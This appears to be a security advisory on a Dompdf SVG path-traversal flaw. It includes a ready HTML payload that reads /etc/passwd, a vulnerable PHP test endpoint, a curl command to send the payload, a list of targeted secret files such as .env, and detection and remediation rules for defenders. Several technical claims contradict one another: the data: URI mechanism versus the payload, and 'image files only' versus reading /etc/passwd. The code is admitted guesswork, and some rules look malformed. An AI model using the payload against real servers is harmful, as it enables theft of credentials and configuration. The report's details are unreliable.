CVE-2026-56722

Executive Summary

CVE-2026-56722 is a path traversal vulnerability in the Dompdf library (PHP), affecting versions 3.15 and prior. An attacker who can control HTML input (for example, by submitting HTML content to a PDF generation endpoint) can bypass file inclusion restrictions by embedding a target file path inside an SVG image delivered via a data: URI. Dompdf processes the SVG twice; the second pass does not enforce the same chroot protections as the first, and the underlying php-svg-lib library reads arbitrary files with no path or protocol validation beyond blocking phar://. This allows an unauthenticated remote attacker to read arbitrary image files from the server’s filesystem. The vulnerability is patched in version 3.16. No public exploit code has been released, but the technique is straightforward.

Supply Chain & Package Security

This vulnerability affects the Dompdf Composer package, which is widely used in PHP applications to generate PDFs from HTML. Organizations relying on this library must immediately upgrade their composer dependency to version ^3.16. Since the attack surface is the PDF generation endpoint, any application that accepts user-controlled HTML and passes it to Dompdf (e.g., invoice generators, report builders) is at risk. The compromise does not require authentication and can be carried out via a simple HTTP POST request.

CVSS Breakdown & Threat Level

Threat Level: High – exploitation is trivial and allows arbitrary file reading (images only, but may include sensitive configuration files with image extensions).

Deep Dive & Mechanics

Dompdf provides a chroot feature to restrict file access to a specific directory. When processing SVG images, Dompdf passes the SVG to the php-svg-lib library. In the vulnerable versions, the SVG is processed twice: the first pass enforces the chroot, but the second pass does not. Additionally, php-svg-lib only blocks the phar:// scheme and has no knowledge of Dompdf's chroot restrictions. An attacker can embed an SVG with a data: URI containing an <image> tag that references a file path (e.g., file:///etc/passwd), but the library only reads image files. The actual impact is limited to reading files that the web server user can read and that are image MIME types (though the final PDF may contain the file content as raw binary data).

Prerequisites:

• The application must accept HTML input that is converted to PDF using Dompdf.
• No authentication required if the PDF generation endpoint is public.
• The target file must be readable by the PHP process (commonly /etc/passwd, /proc/self/environ, or application configuration files).

Attack Flow:

1. Attacker crafts an HTML page containing an SVG with a data: URI.
2. SVG contains an <image> tag with xlink:href pointing to a local file (e.g., file:///etc/passwd or /etc/hostname).
3. Dompdf reads the SVG twice; the second pass reads the file via php-svg-lib without chroot enforcement.
4. The PDF output includes the contents of the file (though non-image data may appear garbled, it is still readable).

Vulnerable vs. Patched Code

The fix in 3.16 ensures that the chroot enforcement is applied consistently across all SVG processing passes. Specifically, the patch modifies the SVG parser to reapply the path restriction during the second pass and to respect the allowed protocols list. While we do not have the exact diff, the official advisory states: “dompdf processes the SVG twice and the second pass does not enforce the same protections as the first.”

Vulnerable snippet (conceptual):

// In Dompdf's SVG handler
$svg = new SvgDocument($dom, $this->canvas);
$svg->setReferencingPolicy('all');  // forces external references
// first pass: chroot enforced
// second pass: chroot NOT enforced (vulnerable)

Patched snippet (conceptual):

// In Dompdf 3.16
$svg = new SvgDocument($dom, $this->canvas);
$svg->setReferencingPolicy('all');
// Ensure the same path restrictions apply in both passes
$this->applyChroot($svg);

Exploitation & Lab Setup

Red Team (Attack)

No public exploit code exists, but the technique is simple. Below is a minimal HTML payload that can be sent to a vulnerable Dompdf endpoint.

Example Payload (send via HTTP POST to the PDF generation endpoint):

<html>
<body>
  <svg width="100" height="100">
    <image xlink:href="file:///etc/passwd" width="100" height="100"/>
  </svg>
</body>
</html>

Lab Setup:

1. Install a vulnerable version of Dompdf (3.15) via Composer.
2. Create a simple PHP script that reads HTML via POST and generates a PDF:

<?php
require 'vendor/autoload.php';
use Dompdf\Dompdf;
$dompdf = new Dompdf();
$dompdf->loadHtml($_POST['html']);
$dompdf->render();
$dompdf->stream("output.pdf");
?>

3. Send the above HTML payload using curl:

curl -X POST -d "html=$(cat payload.html)" http://target/pdf.php -o output.pdf

4. Open the resulting PDF; the content of /etc/passwd will appear (likely as garbled binary, but readable).

Blue Team (Defense)

• Deploy Web Application Firewall (WAF) rules to block file:// and data: URIs in POST parameters intended for PDF generation.
• Monitor logs for repeated requests containing <image xlink:href="file:// or data:image/svg+xml with suspicious URLs.
• Restrict PHP file permissions: Ensure the PHP process runs with the least privilege and that sensitive files (e.g., /etc/passwd, configuration files) are unreadable.
• Use chroot: Dompdf supports a chroot option. Ensure it is properly configured and that it is enforced even for internal SVG processing. In version 3.16, this is fixed.
• Input sanitization: Strip or encode dangerous SVG elements and URI schemes before passing HTML to Dompdf.

Indicators of Compromise (IOCs)

File paths commonly targeted (readable by www-data):

• /etc/passwd
• /etc/hostname
• /proc/self/environ
• /var/www/html/.env (if exists)
• /var/www/html/config.php

Network payload patterns:

• POST request to PDF generation endpoint with body containing:
  • <image xlink:href="file://
  • <image xlink:href="data:image/svg+xml;base64
• HTTP response is a PDF of unexpected size (if the file read succeeded and content was embedded).

Log signatures (in application or web server logs):

• POST /pdf.php with html parameter containing file:// or xlink:href.
• Slow responses if large files are read.
• Errors may include “Failed to open stream” or “Unable to read image” if the file is not an image, though the vulnerability still works.

Detection Engineering

YARA Rule

rule dompdf_path_traversal_svg {
    meta:
        description = "Detect Dompdf SVG path traversal payload via data: URI"
        author = "Valters IT"
        reference = "CVE-2026-56722"
        date = "2025-04-14"
    strings:
        $svg_image = /<image\s+xlink:href\s*=\s*["']file:\/\//i
        $svg_data = /<image\s+xlink:href\s*=\s*["']data:image\/svg\+xml/i
        $svg_data2 = /xlink:href\s*=\s*["']file:\/\//i
    condition:
        any of them
}

Sigma Rule

title: Dompdf SVG Path Traversal Attempt
id: d3b59f6a-1e2c-4f2b-8a1b-1c2d3e4f5a6b
status: experimental
description: Detects HTTP POST requests to Dompdf endpoints containing file:// URI in SVG image tags
author: Valters IT
date: 2025/04/14
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'pdf.php'  # adjust to your endpoint
        cs-uri-query|contains: 'html='
        cs-uri-query|contains|any:
            - 'file://'
            - 'xlink:href'
    condition: selection
falsepositives:
    - Legitimate use of file:// in some edge cases (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-56722 Dompdf SVG Path Traversal Attempt"; flow:to_server,established; content:"POST"; http_method; content:"pdf.php"; http_uri; content:"html="; http_client_body; pcre:"/<image\s+xlink:href\s*=\s*["']file:\/\//i"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Upgrade Dompdf to version 3.16 or later using Composer:

  composer require dompdf/dompdf:^3.16
  

• Workaround: If upgrade is not possible, implement strict input validation to reject SVG tags with data: URIs or xlink:href containing file:// or data:image/svg+xml.
• Configuration: Enable and properly configure Dompdf’s chroot feature:

  $dompdf->set_option('chroot', '/var/www/secure');
  

• Network: Restrict outbound connections from the PDF generation server to prevent data exfiltration.
• Monitoring: Deploy the provided Sigma and Suricata rules to detect exploitation attempts.

Valters IT – This report is provided for educational and defensive purposes. Unauthorized exploitation is illegal.